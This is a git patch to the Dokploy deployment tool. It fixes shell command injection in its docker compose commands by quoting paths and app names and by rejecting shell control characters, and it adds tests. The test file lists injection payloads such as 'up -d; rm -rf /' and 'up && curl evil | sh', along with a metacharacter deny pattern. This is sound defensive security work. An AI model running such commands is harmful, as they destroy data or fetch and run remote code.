From d48037a80203bb0ecaec4f5653aef75fcfdb656d Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 23:06:53 -0600 Subject: [PATCH 1/2] fix(security): escape compose path and validate custom compose command - composePath / appName are now passed through shell-quote in createCommand, getCreateEnvFileCommand and services/compose.ts deploy commands, instead of being interpolated raw into 'docker compose'/'docker stack' shell commands. - compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now rejects shell control characters (; & | ` $ () {} <> newline), which a normal docker compose CLI line never contains, blocking breakout into host commands. Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw --- .../compose/compose-command-injection.test.ts | 104 ++++++++++++++++++ packages/server/src/services/compose.ts | 3 +- packages/server/src/utils/builders/compose.ts | 19 +++- 3 files changed, 121 insertions(+), 5 deletions(-) create mode 100644 apps/dokploy/__test__/compose/compose-command-injection.test.ts diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts new file mode 100644 index 000000000..2ef184df4 --- /dev/null +++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts @@ -0,0 +1,104 @@ +import { execSync } from "node:child_process"; +import { existsSync, rmSync } from "node:fs"; +import { createCommand } from "@dokploy/server/utils/builders/compose"; +import { parse, quote } from "shell-quote"; +import { describe, expect, it } from "vitest"; + +const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`; + +const base = { + composeType: "docker-compose" as const, + appName: "compose-app", + sourceType: "raw" as const, + command: "", + composePath: "docker-compose.yml", +}; + +// createCommand output is interpolated as `docker ${command}` at the deploy +// sink; run `: ${command}` (docker -> no-op) and assert no injection fires. +const runsSafely = (command: string) => { + if (existsSync(MARK)) rmSync(MARK); + try { + execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" }); + } catch {} + const fired = existsSync(MARK); + if (existsSync(MARK)) rmSync(MARK); + return !fired; +}; + +const PAYLOADS = [ + `$(touch ${MARK})`, + "`touch " + MARK + "`", + `x; touch ${MARK}`, + `x | touch ${MARK}`, +]; + +describe("compose createCommand injection", () => { + it("escapes composePath (docker-compose)", () => { + for (const p of PAYLOADS) { + const cmd = createCommand({ + ...base, + sourceType: "github", + composePath: p, + } as any); + expect(runsSafely(cmd)).toBe(true); + } + }); + + it("escapes composePath (stack deploy)", () => { + for (const p of PAYLOADS) { + const cmd = createCommand({ + ...base, + composeType: "stack", + sourceType: "github", + composePath: p, + } as any); + expect(runsSafely(cmd)).toBe(true); + } + }); + + it("escapes appName", () => { + for (const p of PAYLOADS) { + const cmd = createCommand({ + ...base, + sourceType: "github", + appName: p, + composePath: "docker-compose.yml", + } as any); + expect(runsSafely(cmd)).toBe(true); + } + }); + + it("rejects a custom command containing shell control characters", () => { + for (const bad of [ + "up -d; rm -rf /", + "up && curl evil | sh", + "up $(touch x)", + "up `id`", + ]) { + expect(() => + createCommand({ ...base, command: bad } as any), + ).toThrow(/Invalid characters/); + } + }); + + it("allows a legitimate custom command", () => { + const cmd = createCommand({ + ...base, + command: "compose -f docker-compose.yml -p app up -d --build", + } as any); + expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build"); + }); + + it("keeps a legitimate composePath intact", () => { + const cmd = createCommand({ + ...base, + sourceType: "github", + composePath: "deploy/docker-compose.prod.yml", + } as any); + expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml"); + expect(quote(["deploy/docker-compose.prod.yml"])).toBe( + "deploy/docker-compose.prod.yml", + ); + }); +}); diff --git a/packages/server/src/services/compose.ts b/packages/server/src/services/compose.ts index 7a887cdc4..35b1d5dc7 100644 --- a/packages/server/src/services/compose.ts +++ b/packages/server/src/services/compose.ts @@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab"; import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw"; import { TRPCError } from "@trpc/server"; import { eq } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; import { encodeBase64 } from "../utils/docker/utils"; import { getDokployUrl } from "./admin"; @@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => { const projectPath = join(COMPOSE_PATH, compose.appName, "code"); const path = compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath; - const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`; + const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`; if (compose.composeType === "docker-compose") { if (compose.serverId) { await execAsyncRemote( diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts index 790116cb6..e5643074e 100644 --- a/packages/server/src/utils/builders/compose.ts +++ b/packages/server/src/utils/builders/compose.ts @@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`; return bashCommand; }; +// Shell control characters that must never appear in a user-provided compose +// command: they would let it break out of the `docker ${command}` invocation +// into arbitrary host commands. A normal docker compose CLI line never needs them. +const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/; + const sanitizeCommand = (command: string) => { const sanitizedCommand = command.trim(); + if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) { + throw new Error( + "Invalid characters in compose command: shell control characters are not allowed", + ); + } + const parts = sanitizedCommand.split(/\s+/); const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1")); @@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => { let command = ""; if (composeType === "docker-compose") { - command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`; + command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`; } else if (composeType === "stack") { - command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`; + command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`; } return command; @@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => { const encodedContent = encodeBase64(envFileContent); return ` -touch ${envFilePath}; -echo "${encodedContent}" | base64 -d > "${envFilePath}"; +touch ${quote([envFilePath])}; +echo "${encodedContent}" | base64 -d > ${quote([envFilePath])}; `; }; From fbd84b9b0dc43442f74a6d7bc41fc21f45231d2c Mon Sep 17 00:00:00 2001 From: "autofix-ci[bot]" <114827586+autofix-ci[bot]@users.noreply.github.com> Date: Mon, 20 Jul 2026 05:07:24 +0000 Subject: [PATCH 2/2] [autofix.ci] apply automated fixes --- .../__test__/compose/compose-command-injection.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts index 2ef184df4..372a6fc59 100644 --- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts +++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts @@ -76,9 +76,9 @@ describe("compose createCommand injection", () => { "up $(touch x)", "up `id`", ]) { - expect(() => - createCommand({ ...base, command: bad } as any), - ).toThrow(/Invalid characters/); + expect(() => createCommand({ ...base, command: bad } as any)).toThrow( + /Invalid characters/, + ); } });